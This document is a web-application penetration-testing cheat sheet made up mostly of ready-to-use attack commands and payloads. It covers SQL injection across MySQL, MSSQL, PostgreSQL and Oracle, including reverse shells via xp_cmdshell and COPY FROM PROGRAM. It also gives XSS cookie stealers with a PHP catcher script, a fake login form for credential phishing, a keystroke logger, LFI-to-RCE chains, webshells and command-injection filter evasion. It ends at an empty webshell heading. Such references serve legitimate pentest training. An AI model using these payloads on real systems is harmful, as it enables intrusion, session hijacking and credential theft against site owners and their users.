πŸ›‘οΈ Methodology Checklist

  • Fingerprint: server, framework, CMS, WAF
  • Directory/file brute-force with ffuf (no extension, then .php/.txt/.bak)
  • Test all input parameters: SQLi, XSS, command injection, LFI
  • Check file upload: type restriction bypass, webshell
  • Login brute-force (check lockout first)
  • SQLMap on confirmed injectable params
  • Check HTTP methods (verb tampering, PUT/DELETE)
  • Review JS source for API keys, endpoints, hidden params

🎯 Operational Context

Use when: Web application assessment β€” master reference for all web attack commands organized by vulnerability type. Think Dumber First: Fingerprint first (whatweb, wappalyzer). Then directory brute (ffuf). Then vulnerability-specific tests based on tech stack. Don’t run SQLMap on a static HTML site or XSS tests on an API. Skip when: N/A β€” master reference document.


⚑ Tactical Cheatsheet

Recon & Fingerprinting

CommandTactical Outcome
curl -I http://[TARGET_IP]Banner grab β€” Server, CMS headers
whatweb http://[TARGET_IP]Full technology stack fingerprint
wafw00f [DOMAIN]WAF detection
nikto -h http://[TARGET_IP]Web vuln scan
ffuf -u http://[TARGET]/FUZZ -w [WORDLIST] -mc 200,301 -o dirs.jsonDirectory brute-force
ffuf -u http://[TARGET]/FUZZ -w [WORDLIST] -e .php,.txt,.html,.bak,.zipFile + extension fuzzing
ffuf -u http://[TARGET_IP] -H "Host: FUZZ.[DOMAIN]" -w [WORDLIST] -fs [SIZE]VHost fuzzing
gobuster dir -u http://[TARGET] -w [WORDLIST] -x php,txt,htmlDirectory + file busting

Default Credentials

ApplicationPathDefault Credentials
WordPress/wp-login.phpadmin / password
Joomla/administrator/admin / admin
Tomcat Manager/manager/htmltomcat/s3cret, admin/admin
Jenkins/loginadmin / (init password in /var/jenkins_home/secrets/)
Splunk:8000admin / changeme
PRTG:80prtgadmin / prtgadmin

SQL Injection

CommandTactical Outcome
' OR 1=1-- -Basic SQLi auth bypass
sqlmap -u "http://[TARGET]/page?id=1" --dbsAuto-detect + list databases
sqlmap -u [URL] -D [DB] -T [TABLE] --dumpDump specific table
sqlmap -r request.txt --batch --level 5 --risk 3SQLMap from Burp request file
sqlmap -u [URL] --os-shellInteractive OS shell via SQLi
sqlmap -u [URL] --tamper=space2comment,randomcaseWAF bypass tampers
' UNION SELECT NULL,NULL,NULL-- -Column count detection
' UNION SELECT table_name,NULL FROM information_schema.tables-- -Table enumeration

XSS & Client-Side

CommandTactical Outcome
<script>alert(1)</script>Basic reflected XSS test
<img src=x onerror=alert(1)>Attribute context bypass
"><svg onload=alert(1)>Tag break XSS
<script>document.location='http://[LHOST]/c?='+document.cookie</script>Session hijack via stored XSS
<script>fetch('http://[LHOST]/?k='+btoa(document.cookie))</script>Exfil cookie via fetch

LFI / Path Traversal

CommandTactical Outcome
?file=../../../../etc/passwdBasic LFI traversal
?file=....//....//etc/passwdFilter bypass (double-slash)
?file=php://filter/convert.base64-encode/resource=/etc/passwdPHP filter wrapper β€” read any file
?file=data://text/plain;base64,[BASE64_PHP]PHP data wrapper for RCE
?file=php://input + POST PHP codePHP input wrapper for RCE
?file=/var/log/apache2/access.logLog poisoning target (after UA injection)

Command Injection

CommandTactical Outcome
; id / && id / | idBasic command injection separators
$(id) / `id`Subshell injection
%0a idNewline injection (URL-encoded)
${IFS}idWhitespace bypass using IFS
w"ho"a"mi"Quote-breaking filter bypass
; bash -i >& /dev/tcp/[LHOST]/[LPORT] 0>&1Reverse shell via command injection

File Upload

CommandTactical Outcome
shell.php β†’ shell.php.jpgDouble extension bypass
shell.pHP / shell.php5 / shell.phtmlCase/alternate extension bypass
Change Content-Type: image/jpeg (keep .php)MIME type bypass in Burp
GIF89a; <?php system($_GET['c']); ?>Magic bytes + PHP content
<?php system($_GET['c']); ?>Minimal PHP webshell
msfvenom -p php/meterpreter_reverse_tcp LHOST=[LHOST] LPORT=[LPORT] -f raw -o shell.phpMSF PHP shell

Login Brute-Force

CommandTactical Outcome
hydra -l [USER] -P [WORDLIST] http-post-form "[PATH]:[PARAMS]:[FAIL_MSG]" [TARGET]HTTP POST brute-force
hydra -L users.txt -P pass.txt ssh://[TARGET]SSH brute-force
medusa -h [TARGET] -u [USER] -P [WORDLIST] -M httpMedusa HTTP brute
ffuf -u http://[TARGET]/login -X POST -d "user=FUZZ&pass=PASS" -w users.txtUsername enumeration via ffuf

HTTP Verb Tampering & IDOR

CommandTactical Outcome
curl -X OPTIONS http://[TARGET]/endpointCheck allowed methods
curl -X PUT http://[TARGET]/endpoint -d "data"PUT request test
-H "X-HTTP-Method-Override: DELETE"Method override header
Change id=100 β†’ id=101 in BurpIDOR β€” increment object reference
Decode base64 ID β†’ modify β†’ re-encodeIDOR β€” encoded reference bypass

πŸ”¬ Deep Dive & Workflow

SQL Injection

The injection logic is universal, but the syntax is DBMS-specific β€” the same flaw needs different functions and escalation primitives per backend. Fingerprint first, then jump to the matching subsection. Wrong-DBMS syntax fails silently and burns time.

Step 0 β€” Fingerprint the DBMS

Drop a version probe into a reflected UNION column, or read the error text the app leaks:

DBMSVersion probeTell-tale error
MySQL / MariaDB@@version / version()You have an error in your SQL syntax
MSSQL@@versionUnclosed quotation mark / Incorrect syntax near
PostgreSQLversion()ERROR: ... at or near
Oraclebanner FROM v$versionORA-01756 / ORA-00933

No visible output? Use the time-delay probe from the matrix β€” a hang confirms both injection and the backend.

Cross-DBMS Function Matrix

The single most useful artifact β€” translate any payload between backends at a glance.

TaskMySQL / MariaDBMSSQLPostgreSQLOracle
Version@@version@@versionversion()banner FROM v$version
Current useruser()SYSTEM_USERcurrent_useruser FROM dual
Current DBdatabase()DB_NAME()current_database()global_name FROM global_name
List DBsinformation_schema.schematasys.databasespg_databaseDISTINCT owner FROM all_tables
List tablesinformation_schema.tables[DB]..sysobjects WHERE xtype='U'information_schema.tablesall_tables
List columnsinformation_schema.columnssyscolumns WHERE id=OBJECT_ID('[T]')information_schema.columnsall_tab_columns
ConcatCONCAT(a,b)a+ba||ba||b
Comment-- - / # / /* */-- / /* */-- / /* */-- / /* */
Time delaySLEEP(5)WAITFOR DELAY '0:0:5'pg_sleep(5)dbms_pipe.receive_message(('a'),5)
Stacked queries❌ (via mysqli/PDO)βœ…βœ…βŒ
SELECT w/o tableOKOKOKneeds FROM dual

Quirk: in MySQL || means logical OR (unless PIPES_AS_CONCAT mode), so concatenate with CONCAT() there β€” not ||.

MySQL / MariaDB

MySQL quirks: no stacked queries through mysqli/PDO (one statement per call), comments are -- - (the trailing space matters), #, or /* */, and || means OR by default (not string concat) unless PIPES_AS_CONCAT is set.

-- Base navigation (interactive console β€” for shaping INFORMATION_SCHEMA queries)
SHOW DATABASES;                                           -- list all schemas
USE [DB];                                                 -- switch to a schema
SHOW TABLES;                                              -- list tables in current schema
DESCRIBE [T];                                             -- show columns/types of a table
SELECT * FROM [T] ORDER BY 2;                             -- order rows by 2nd column
SELECT * FROM [T] LIMIT 1 OFFSET 2;                       -- skip 2 rows, take 1 (paginate)
SELECT * FROM [T] WHERE name LIKE 'a%';                   -- filter: names starting with 'a'
-- Operator precedence (high -> low): / * %  >  + -  >  = != < > <= >=  >  NOT  >  AND  >  OR
-- UNION enumeration: confirm column count
cn' ORDER BY 4-- -                                        -- valid; ORDER BY 5 errors -> 4 cols
cn' UNION SELECT 1,2,3,4-- -                               -- confirm 4 cols + find reflected column (2)
 
-- Fingerprint via the reflected column (position 2)
cn' UNION SELECT 1,@@version,3,4-- -                      -- DB version (MySQL vs MariaDB)
cn' UNION SELECT 1,user(),3,4-- -                         -- current DB user
cn' UNION SELECT 1,database(),3,4-- -                     -- current schema
 
-- List schemas
cn' UNION SELECT 1,schema_name,3,4 FROM information_schema.schemata-- -                    -- all databases
 
-- List tables in a target schema
cn' UNION SELECT 1,table_name,3,4 FROM information_schema.tables WHERE table_schema='[DB]'-- -   -- tables in [DB]
 
-- List columns of a target table
cn' UNION SELECT 1,column_name,3,4 FROM information_schema.columns WHERE table_name='[T]'-- -    -- columns in [T]
 
-- Dump rows from another DB via the dot operator
cn' UNION SELECT 1,CONCAT(username,0x3a,password),3,4 FROM [DB].[T]-- -                          -- dump user:pass from [DB].[T]
-- Privilege, file read/write & RCE primitives
cn' UNION SELECT 1,super_priv,3,4 FROM mysql.user WHERE user='root'-- -                          -- 'Y' = superuser (admin)
cn' UNION SELECT 1,variable_value,3,4 FROM information_schema.global_variables WHERE variable_name='secure_file_priv'-- -  -- empty = read/write anywhere
 
-- Read a file (needs FILE priv + secure_file_priv allows the path)
cn' UNION SELECT 1,LOAD_FILE('/etc/passwd'),3,4-- -                                             -- read arbitrary file
 
-- Write a file / drop a PHP webshell into the web root
cn' UNION SELECT 1,'data',3,4 INTO OUTFILE '/tmp/out.txt'-- -                                   -- write query output to disk
cn' UNION SELECT 1,'<?php system($_REQUEST[0]); ?>',3,4 INTO OUTFILE '/var/www/html/shell.php'-- -  -- webshell -> /shell.php?0=id
-- Blind: boolean (compare TRUE vs FALSE responses) + time-based
cn' AND 1=1-- -                                           -- TRUE  -> normal/positive response
cn' AND 1=2-- -                                           -- FALSE -> changed/empty response
cn' AND IF(1=1,SLEEP(5),0)-- -                            -- delays ~5s if condition TRUE
cn' AND IF((SELECT SUBSTRING(@@version,1,1))='1',SLEEP(5),0)-- -   -- exfil one char via timing

MSSQL (SQL Server)

MSSQL supports stacked queries (;), uses -- for comments, concatenates strings with +, and can achieve RCE via xp_cmdshell.

-- === UNION enumeration ===
cn' UNION SELECT 1,@@version,3,4-- -                                              -- version + reflection fingerprint
cn' UNION SELECT 1,SYSTEM_USER,3,4-- -                                            -- current login
cn' UNION SELECT 1,DB_NAME(),3,4-- -                                              -- current database
cn' UNION SELECT 1,name,3,4 FROM sys.databases-- -                                -- list databases
cn' UNION SELECT 1,name,3,4 FROM [DB]..sysobjects WHERE xtype='U'-- -             -- list user tables
cn' UNION SELECT 1,name,3,4 FROM syscolumns WHERE id=OBJECT_ID('[T]')-- -         -- list columns of [T]
cn' UNION SELECT 1,col_a+':'+col_b,3,4 FROM [DB]..[T]-- -                          -- dump rows (concat with +)
-- === Stacked-query RCE (xp_cmdshell) ===
cn'; EXEC sp_configure 'show advanced options',1; RECONFIGURE;-- -                -- expose advanced options
cn'; EXEC sp_configure 'xp_cmdshell',1; RECONFIGURE;-- -                          -- enable xp_cmdshell
cn'; EXEC xp_cmdshell 'whoami';-- -                                               -- run OS command
cn'; EXEC xp_cmdshell 'powershell -enc <BASE64_REV_SHELL>';-- -                   -- reverse shell to [LHOST]:[LPORT]
 
-- === Out-of-band / NetNTLM theft + file read ===
cn'; EXEC master..xp_dirtree '\\[LHOST]\share';-- -                               -- coerce SMB auth -> capture hash w/ Responder
cn' UNION SELECT 1,BulkColumn,3,4 FROM OPENROWSET(BULK 'C:\Windows\win.ini',SINGLE_CLOB) AS x-- -  -- read local file
-- === Blind ===
cn' AND 1=1-- -                                                                   -- boolean TRUE (page normal)
cn' AND 1=2-- -                                                                   -- boolean FALSE (page differs)
cn'; IF(1=1) WAITFOR DELAY '0:0:5'-- -                                            -- conditional time-based (stacked)
cn' WAITFOR DELAY '0:0:5'-- -                                                     -- time-based (inline)

PostgreSQL

Postgres supports stacked queries (;), uses -- for comments, concatenates strings with ||, allows RCE via COPY ... FROM/TO PROGRAM, and file reads via pg_read_file().

-- == Fingerprint / reflection + enumeration ==
cn' UNION SELECT 1,version(),3,4-- -                                          -- DBMS version + confirm column 2 reflects
cn' UNION SELECT 1,current_user,3,4-- -                                        -- current DB user
cn' UNION SELECT 1,current_database(),3,4-- -                                  -- current database name
cn' UNION SELECT 1,datname,3,4 FROM pg_database-- -                            -- list all databases
cn' UNION SELECT 1,table_name,3,4 FROM information_schema.tables-- -           -- list all tables
cn' UNION SELECT 1,column_name,3,4 FROM information_schema.columns WHERE table_name='[T]'-- -  -- list columns of [T]
cn' UNION SELECT 1,col2,3,4 FROM [DB].[T]-- -                                  -- dump rows from target table
-- == File read + RCE (stacked queries, superuser required) ==
cn' UNION SELECT 1,pg_read_file('/etc/passwd',0,1000),3,4-- -                  -- read first 1000 bytes of a file
cn'; COPY (SELECT '') TO PROGRAM 'id'-- -                                      -- blind command exec (no output returned)
cn'; CREATE TABLE t(o text); COPY t FROM PROGRAM 'id'-- -                       -- exec and capture stdout into table t
cn' UNION SELECT 1,o,3,4 FROM t-- -                                            -- read captured command output back
cn'; COPY (SELECT '') TO PROGRAM 'bash -c ''bash -i >& /dev/tcp/[LHOST]/[LPORT] 0>&1'''-- -  -- reverse shell to [LHOST]:[LPORT]
-- == Blind: boolean + time-based ==
cn' AND 1=1-- -                                                                -- TRUE  -> page renders normally
cn' AND 1=2-- -                                                                -- FALSE -> page differs / no results
cn' AND 1=(SELECT 1 FROM pg_sleep(5))-- -                                      -- unconditional 5s delay (confirm injection)
cn' AND (SELECT 1 FROM pg_sleep(5) WHERE substr(current_user,1,1)='p')-- -      -- conditional delay -> exfil data char-by-char

Oracle

Oracle is strict: every SELECT needs a FROM clause (use FROM dual for table-less selects), UNION column counts must match exactly, there are no stacked queries, and strings concatenate with ||.

-- UNION enumeration (2-col, NULL padding for strict type/count match)
cn' UNION SELECT banner,NULL FROM v$version-- -                                    -- version + reflection fingerprint
cn' UNION SELECT user,NULL FROM dual-- -                                           -- current user (table-less, needs FROM dual)
cn' UNION SELECT DISTINCT owner,NULL FROM all_tables-- -                            -- list schemas / table owners
cn' UNION SELECT table_name,NULL FROM all_tables WHERE owner='[DB]'-- -             -- list tables in [DB]
cn' UNION SELECT column_name,NULL FROM all_tab_columns WHERE table_name='[T]'-- -   -- list columns of [T]
cn' UNION SELECT username||':'||password,NULL FROM [T]-- -                          -- dump rows (|| concat)
-- Blind: boolean + time-based (dbms_pipe waits N secs on a non-existent pipe)
cn' AND 1=1-- -                                                                    -- TRUE  -> page renders normally
cn' AND 1=2-- -                                                                    -- FALSE -> page differs
cn' AND 1=(SELECT dbms_pipe.receive_message(('a'),5) FROM dual)-- -                 -- ~5s delay if injectable
cn' AND 1=CASE WHEN (1=1) THEN dbms_pipe.receive_message(('a'),5) ELSE 1 END-- -    -- conditional delay on TRUE
 
-- Out-of-band (DNS/HTTP exfil; needs privileges, version-dependent)
cn' AND 1=(SELECT UTL_INADDR.get_host_address('[LHOST]') FROM dual)-- -             -- DNS lookup to [LHOST] (legacy)
cn' AND 1=(SELECT UTL_HTTP.request('http://[LHOST]:[LPORT]/') FROM dual)-- -        -- HTTP callback to [LHOST]:[LPORT]

Manual Enumeration Workflow

-- 1. Detect:      append ' to each param -> error or behaviour change = injectable
-- 2. Fingerprint: identify the DBMS (Step 0), then pick the matching column from the matrix
-- 3. Columns:     ORDER BY 1-- - (increment to error)  OR  UNION SELECT NULL,NULL,...-- -
-- 4. Reflection:  UNION SELECT 'a',NULL,...-- -  (cycle positions to find a printable column)
-- 5. Enumerate:   current DB -> schemas -> tables -> columns (matrix syntax for the backend)
-- 6. Dump:        pull target rows; CONCAT/|| multiple columns into one reflection point
-- 7. Escalate:    file read/write, xp_cmdshell, COPY FROM PROGRAM (privilege-dependent)

XSS & Client-Side

Test every input field and URL parameter with a PoC, identify the type (reflected / stored / DOM) and the reflection context, then escalate from alert() to session hijacking, phishing, or defacement. Use alert(window.origin) as proof β€” it confirms the executing domain and distinguishes an iframe from the main app.

XSS Types

TypePersistent?Server involved?Trigger
StoredYesYesAny visitor loads the poisoned page
ReflectedNoYesVictim clicks a crafted URL
DOM-basedNoNoURL hash/fragment processed client-side

Identify: inject, then navigate away β€” if it persists β†’ Stored; if it only works via a link you send β†’ Reflected; if nothing appears in Burp HTTP history β†’ DOM-based (the # fragment never reaches the server).

PoC Payloads

<script>alert(window.origin)</script>   <!-- basic PoC; window.origin confirms domain + iframe context -->
<script>print()</script>                 <!-- alternative when alert() is WAF-blocked -->
<plaintext>                              <!-- dumps raw page source; confirms HTML injection even if JS is blocked -->

Context-Specific Injection Points

The same input needs a different breakout depending on where it reflects:

<!-- Standard / HTML body -->
<script>alert(window.origin)</script>
<!-- Inside an HTML attribute:  <input value="HERE"> -->
"><img src=x onerror=alert(window.origin)>
<!-- Inside a <script> block:   var x='HERE'; -->
'; alert(window.origin); //
<!-- Inside a URL:              href="HERE" -->
javascript:alert(window.origin)
<!-- innerHTML sink strips <script> -> use an event handler -->
<img src="" onerror=alert(window.origin)>
<svg/onload=alert(window.origin)>

DOM-Based XSS

Source β†’ sink data flow in client-side JS; the payload (often after #) never reaches the server, so it leaves no Burp/HTTP-log trace.

// Source: reads from the URL
var pos = document.URL.indexOf("task=");
var task = document.URL.substring(pos + 5, document.URL.length);
// Sink: innerHTML strips <script> but still runs onerror
document.getElementById("todo").innerHTML = "<b>Next:</b> " + decodeURIComponent(task);
  • Hash payload: http://[TARGET]/page.html#task=<img src='' onerror=alert(window.origin)>
  • Dangerous sinks: innerHTML, outerHTML, document.write(), document.writeln(), jQuery html(), append(), prepend()
  • Inspect the rendered source (F12 Inspector), not the raw source (Ctrl+U).

Filter / WAF Bypass

<img src=x onerror=alert(window.origin)>       <!-- script tags filtered -> event handler -->
<body onload=alert(window.origin)>             <!-- alternative event handler -->
<details open ontoggle=alert(window.origin)>   <!-- alternative event handler -->
<svg/onload=alert(1)>                          <!-- minimal SVG bypass -->
<HtMl%09onPoIntERENTER+=+confirm()>            <!-- case variation + %09 (tab) obfuscation -->

Also try hex encoding and case variations. alert() blocked β†’ confirm(1) / prompt(1) / console.log(1). Automated discovery: XSStrike (python xsstrike.py -u "http://[TARGET]/index.php?task=test").

<script>document.location='http://[LHOST]/?c='+document.cookie</script>          <!-- redirect-based steal -->
<script>new Image().src='http://[LHOST]/index.php?c='+document.cookie</script>   <!-- invisible image, no redirect -->

Listener: sudo php -S 0.0.0.0:80 (or sudo nc -lvnp 80 β€” creds land in the first GET line; sudo lsof -i :80 to free the port). Hijack: F12 β†’ Application β†’ Cookies β†’ replace your session value with the stolen one β†’ load the restricted/admin area. HttpOnly: document.cookie returns empty β†’ can’t steal via JS β†’ pivot to CSRF via XSS instead.

Blind XSS β€” Find the Field, Then Steal

For forms whose output you can’t see (support tickets, contact forms):

<!-- 1. Probe each field β€” the field name shows up in the callback URL -->
<script src="http://[LHOST]/fullname"></script>
<!-- 2. Final payload β€” load the hosted cookie stealer -->
<script src="http://[LHOST]/script.js"></script>

script.js (cookie stealer):

new Image().src='http://[LHOST]/index.php?c=' + document.cookie;

index.php (cookie catcher):

<?php
if (isset($_GET['c'])) {
    $list = explode(";", $_GET['c']);
    foreach ($list as $key => $value) {
        $cookie = urldecode($value);
        $file = fopen("cookies.txt", "a+");
        fputs($file, "Victim IP: {$_SERVER['REMOTE_ADDR']} | Cookie: {$cookie}\n");
        fclose($file);
    }
}
?>

Admin/review bots often run on a ~1–3 min cron β€” wait before assuming the payload failed.

Phishing β€” Credential Harvesting

document.write('<h3>Please login to continue</h3><form action="http://[LHOST]"><input name="username" placeholder="Username"><input type="password" name="password" placeholder="Password"><input type="submit" value="Login"></form>');document.getElementById('urlform').remove();

A PHP catcher logs the creds, then redirects the victim back to the real site (header("Location: ...")). Delivery via reflected XSS: ?url='><script>[PAYLOAD]</script> β€” break out of the tag first ('> or ">), and URL-encode <β†’%3C >β†’%3E if a backend script submits the payload.

Defacement

<script>document.body.style.background="#141d2b"</script>                                              <!-- change background -->
<script>document.getElementsByTagName('body')[0].innerHTML='<center><h1>PWNED</h1></center>'</script>  <!-- replace full body -->

Keylogger

<script>document.onkeypress = e => new Image().src='http://[LHOST]/?k='+e.key</script>  <!-- onkeypress listener exfils each keystroke -->

LFI / Path Traversal

Found a file-inclusion parameter β€” read sensitive files via directory traversal, then escalate to RCE based on what the server allows. Think dumber first: ?language=/etc/passwd, then ../../../../etc/passwd, then layer bypasses, then pick an RCE primitive. Whether RCE is even possible depends on the inclusion function (below).

Function Capability Matrix

Read-only function β†’ source disclosure only (harvest creds, then pivot). Execute-capable β†’ RCE possible.

LanguageFunctionReadExecuteRemote URL
PHPinclude() / require()βœ…βœ…include only
PHPfile_get_contents()βœ…βŒβœ…
NodeJSfs.readFile() / sendFile()βœ…βŒβŒ
NodeJSres.render()βœ…βœ…βŒ
Javaincludeβœ…βŒβŒ
Javaimportβœ…βœ…βœ…
.NETResponse.WriteFile()βœ…βŒβŒ
.NETincludeβœ…βœ…βœ…

Traversal & Filter Bypasses

?language=/etc/passwd                                 # absolute path (no prefix prepended)
?language=../../../../../../../../etc/passwd          # relative, overkill depth (extra ../ beyond root is safe)
?language=/../../../etc/passwd                        # bypass filename prefix, e.g. include("lang_".$x)
?language=../../../../etc/passwd%00                    # null byte β€” drop forced .php (PHP < 5.5)
?language=....//....//....//etc/passwd                 # non-recursive ../ strip -> re-forms
?language=%2e%2e%2f%2e%2e%2fetc%2fpasswd               # URL-encode . and / (blacklist bypass)
?language=..%252f..%252fetc%252fpasswd                 # double URL-encode (%252e / %252f)
?language=./languages/../../../../etc/passwd           # approved-path regex bypass (prefix, then traverse out)
?language=languages/....//....//....//etc/passwd       # chained: approved path + non-recursive strip
?language=..\..\..\Windows\system32\drivers\etc\hosts  # Windows target (try both / and \)
# Auto-fuzz bypass payloads:
ffuf -w LFI-Jhaddix.txt:FUZZ -u 'http://[TARGET]/index.php?language=FUZZ' -fs [SIZE]

Traversal Strategy

1. Absolute path:        ?language=/etc/passwd
2. Relative (overkill):  ?language=../../../../../../etc/passwd
3. Error shows a prepended string  -> bypass prefix: ?language=/../../../etc/passwd
4. Error shows appended .php       -> PHP < 5.5: %00 ; PHP 5.5+: use filter wrappers

PHP Filter β€” Source Disclosure

?language=php://filter/read=convert.base64-encode/resource=config      # read config.php source as base64 (server auto-appends .php)
?language=php://filter/read=convert.base64-encode/resource=config.php  # if server does NOT auto-append .php
echo 'PD9waHAK...' | base64 -d                                         # decode on Kali

View raw source (Ctrl+U) to copy the full base64 β€” browsers truncate long text. Source reveals DB creds and further include/require references; follow them iteratively.

LFI β†’ RCE Decision Tree

Have allow_url_include = On?
β”œβ”€β”€ Yes -> data:// (GET) or php://input (POST) wrapper
└── No  -> Can you upload files?
          β”œβ”€β”€ Yes -> Upload + include (GIF magic bytes, zip://, phar://)
          └── No  -> Can you read server logs?
                   β”œβ”€β”€ Apache/Nginx readable -> Log Poisoning
                   β”œβ”€β”€ PHP session param stored -> Session Poisoning
                   β”œβ”€β”€ SSH accessible -> SSH log poisoning
                   └── Windows target + RFI possible -> SMB RFI (bypasses allow_url_include)

PHP Wrapper RCE (require allow_url_include)

# Verify allow_url_include first:
curl -s "http://[TARGET]/index.php?language=php://filter/read=convert.base64-encode/resource=/etc/php/7.4/apache2/php.ini" | base64 -d | grep allow_url_include
 
# data:// (GET)
echo '<?php system($_GET["cmd"]); ?>' | base64                 # -> PD9waHAg...  then URL-encode + -> %2B and = -> %3D
curl -s 'http://[TARGET]/index.php?language=data://text/plain;base64,[B64]&cmd=id'
 
# php://input (POST)
curl -s -X POST --data '<?php system($_GET["cmd"]); ?>' "http://[TARGET]/index.php?language=php://input&cmd=id"
 
# expect:// (requires expect extension installed)
curl -s "http://[TARGET]/index.php?language=expect://id"

Log Poisoning

# 1. Poison the log via User-Agent (Apache writes it on every request)
echo -n "User-Agent: <?php system(\$_GET['cmd']); ?>" > Poison.txt
curl -s "http://[TARGET]/index.php" -H @Poison.txt
 
# 2. Include + execute  (SEND TWICE β€” Apache writes the entry before you can include it)
curl "http://[TARGET]/index.php?language=/var/log/apache2/access.log&cmd=whoami"
Apache Linux:  /var/log/apache2/access.log
Nginx Linux:   /var/log/nginx/access.log
Apache Win:    C:\xampp\apache\logs\access.log
SSH log:       /var/log/sshd.log   (poison via SSH username: <?php system($_GET['cmd']); ?>)
FTP log:       /var/log/vsftpd.log

Any typo in the PHP payload permanently breaks the log β†’ all future LFI attempts 500. Reset the target.

Session Poisoning

# Session file path: /var/lib/php/sessions/sess_<PHPSESSID>
# 1. Inject a URL-encoded PHP shell into a session-stored param
http://[TARGET]/index.php?language=%3C%3Fphp%20system%28%24_GET%5B%22cmd%22%5D%29%3B%3F%3E
# 2. Execute (re-poison before each command β€” the session file overwrites)
http://[TARGET]/index.php?language=/var/lib/php/sessions/sess_<COOKIE>&cmd=id

Upload + LFI

echo 'GIF8<?php system($_GET["cmd"]); ?>' > shell.gif    # GIF magic bytes; include ?language=./uploads/shell.gif&cmd=id
zip shell.jpg shell.php                                  # ZIP wrapper; include ?language=zip://./uploads/shell.jpg%23shell.php&cmd=id
# PHAR: build phar, rename -> .jpg, upload; include ?language=phar://./uploads/shell.jpg%2Fshell.txt&cmd=id

Remote File Inclusion (RFI)

echo '<?php system($_GET["cmd"]); ?>' > shell.php && sudo python3 -m http.server [LPORT]   # host the shell over HTTP
?language=http://[LHOST]:[LPORT]/shell.php&cmd=id        # RFI via HTTP
?language=ftp://[LHOST]/shell.php&cmd=id                 # RFI via FTP (host: sudo python -m pyftpdlib -p 21)
?language=\\[LHOST]\share\shell.php&cmd=whoami           # RFI via SMB (Windows β€” bypasses allow_url_include)

High-Value Target Files

/etc/passwd                    # user list, confirm traversal
/etc/hosts                     # internal network mapping
/etc/crontab                   # scheduled tasks
/var/www/html/config.php       # DB credentials (read via PHP filter)
/etc/php/7.4/apache2/php.ini   # PHP config β€” check allow_url_include
/proc/self/environ             # process env vars (inject PHP via User-Agent)

Second-Order LFI

Register a username like ../../../etc/passwd; the app later uses it to load an avatar:

/images/avatars/../../../etc/passwd  ->  /etc/passwd

Command Injection

User input reaches an OS command β€” inject a separator to run your own. Think dumber first: drop each separator (; && | $() backtick) into the field; ;id in a ping-style input often works first try. Output reflected β†’ classic; no output β†’ blind (time/OOB). Always re-test in Burp Repeater β€” client-side JS validation is no security. Which operators work depends on the shell/OS (below).

Injection Operators (OS-dependent)

OperatorLinuxWindows CMDPowerShellNotes
;βœ…βŒβœ…Not supported in CMD
\n (%0a)βœ…βŒβœ…URL-encode newline
&βœ…βœ…βœ…Both commands run, both outputs shown
|βœ…βœ…βœ…Only second output shown
&&βœ…βœ…βœ…Second runs only if first succeeds
||βœ…βœ…βœ…Second runs only if first fails
$(cmd)βœ…βŒβœ…Inline subshell
`cmd`βœ…βŒβŒBacktick subshell

Initial Tests & Detection

127.0.0.1; whoami        # semicolon (Linux) β€” usually works first
127.0.0.1%0a whoami      # URL-encoded newline (Linux alt separator)
127.0.0.1&& whoami       # AND β€” runs only if first succeeds
127.0.0.1| whoami        # pipe β€” only 2nd command's output shown
127.0.0.1|| whoami       # OR β€” runs if first fails (use 127.0.0.1x|| whoami)
$(whoami)   `whoami`     # inline subshell β€” inject into strings
127.0.0.1; whoami
β”œβ”€β”€ output in response  β†’ classic (in-band) injection
└── no output           β†’ blind injection:
    β”œβ”€β”€ time:  127.0.0.1; sleep 5
    β”œβ”€β”€ DNS:   127.0.0.1; nslookup [LHOST]
    └── HTTP:  127.0.0.1; curl http://[LHOST]/$(whoami)

Safe enum β€” Linux: whoami; id; hostname; uname -a; cat /etc/passwd Β· Windows: whoami & ipconfig & systeminfo. Front-end bypass: capture in Burp β†’ Repeater (Ctrl+R) β†’ add operator + command β†’ commonly swap ; for %0a.

Filter Evasion β€” Spaces

BypassWorks onNotes
%09 (tab)Linux + WindowsURL-encode in browser; raw in Burp
${IFS}LinuxBash internal field separator (space/tab/newline)
{cmd,arg}LinuxBrace expansion β€” no spaces at all
< redirectionLinuxcat<file.txt β€” read-only contexts
%20DependsMay be stripped by the filter itself
127.0.0.1%09whoami              # tab instead of space
127.0.0.1${IFS}whoami           # ${IFS} expands to whitespace
{ls,-la,/tmp}                   # brace expansion β€” no spaces needed
cat<flag.txt                    # < redirection as a space substitute
cat${IFS}</etc/passwd           # combine IFS + redirection

Filter Evasion β€” Blacklisted Characters (slicing)

echo ${PATH:0:1}        # β†’ /   (first char of PATH)
echo ${LS_COLORS:10:1}  # β†’ ;   (position varies β€” test first)
127.0.0.1;cat${IFS}${PATH:0:1}etc${PATH:0:1}passwd   # /etc/passwd without typing /

Filter Evasion β€” Blacklisted Commands (obfuscation)

w'h'o'a'm'i                              # quote insertion β€” parser strips quotes, runs whoami
w"h"o"a"m"i                              # double-quote insertion
\w\h\o\a\m\i                             # backslash insertion (Linux only)
who$@ami                                 # $@ expands to nothing β†’ whoami
$(printf '\x77\x68\x6f\x61\x6d\x69')     # hex-encoded 'whoami'
$(tr '[A-Z]' '[a-z]'<<<'WHOAMI')         # case inversion: uppercase cmd β†’ lowercase exec
$(rev<<<'imaohw')                        # reverse string β†’ whoami
echo 'd2hvYW1p' | base64 -d | bash       # base64 execute (whoami encoded)
bash<<<$(base64 -d<<<d2hvYW1p)           # base64 execute without a pipe

Automated Obfuscation

bashfuscator -c 'cat /etc/passwd'                              # Linux automated obfuscation
bashfuscator -c 'cat /etc/passwd' -s 1 -t 1 --no-mangling -q   # minimal-size output
Invoke-DOSfuscation   # Windows CMD: SET COMMAND <cmd> β†’ ENCODING β†’ 1

Evasion Decision Tree

Space blocked?
β”œβ”€β”€ Linux   β†’ ${IFS}, %09, {cmd,arg}, <
└── Windows β†’ %09, quoted strings
 
/ or \ blocked?
└── ${PATH:0:1} for / ;  slice a var containing the needed char
 
Letters/keywords blocked?
β”œβ”€β”€ Quote insertion:  c'a't
β”œβ”€β”€ Case inversion:   tr [A-Z][a-z]<<<CMD
β”œβ”€β”€ Reverse:          rev<<<dmaohw
└── Base64:           bash<<<$(base64 -d<<<[encoded])
 
All else fails?
β”œβ”€β”€ Bashfuscator (Linux)
└── Invoke-DOSfuscation (Windows)

File Upload Attacks

Upload functionality β†’ bypass extension / MIME / content checks to drop a web shell, then trigger it. Think dumber first: identify what’s accepted, then try .phtml/.php5/.phar, change Content-Type to image/jpeg, prepend GIF8 magic bytes β€” one bypass at a time. No execution path? Pivot the upload into an LFI/RFI chain or stored XSS (SVG / image metadata).

Web Shells & PoC

